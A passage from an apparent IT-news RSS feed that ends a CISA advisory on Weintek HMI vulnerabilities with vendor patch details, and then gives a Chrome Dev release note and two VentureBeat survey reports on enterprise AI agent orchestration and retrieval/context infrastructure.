<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60135</a></h3>
<div class="csaf-accordion-content">
<p>An attacker can modify data that should be restricted to read‑only access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60135">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/286.html">CWE-286 Incorrect User Management</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Practice principles of least privilege.</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chrome Dev for Android Update]]></title>
<description><![CDATA[Hi everyone! We've just released Chrome Dev 152 (152.0.7965.2) for Android. It's now available on Google Play.You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.If you find a new i...]]></description>
<link>https://tsecurity.de/de/3689933/it-security-nachrichten/chrome-dev-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689933/it-security-nachrichten/chrome-dev-for-android-update/</guid>
<pubDate>Thu, 23 Jul 2026 20:14:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hi everyone! We've just released Chrome Dev 152 (152.0.7965.2) for Android. It's now available on <a href="https://play.google.com/store/apps/details?id=com.chrome.dev">Google Play</a>.</p><p>You can see a partial list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/152.0.7951.0..152.0.7965.2?pretty=fuller&amp;n=10000">Git log</a>. For details on new features, check out the <a href="https://blog.chromium.org/">Chromium blog</a>, and for details on web platform updates, check <a href="https://www.chromestatus.com/features#milestone%3D152">here</a>.</p><p>If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.</p><p>Chrome Release Team<br><a href="https://www.google.com/chrome"></a><a href="https://www.google.com/chrome">Google Chrome</a></p>]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689828/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% 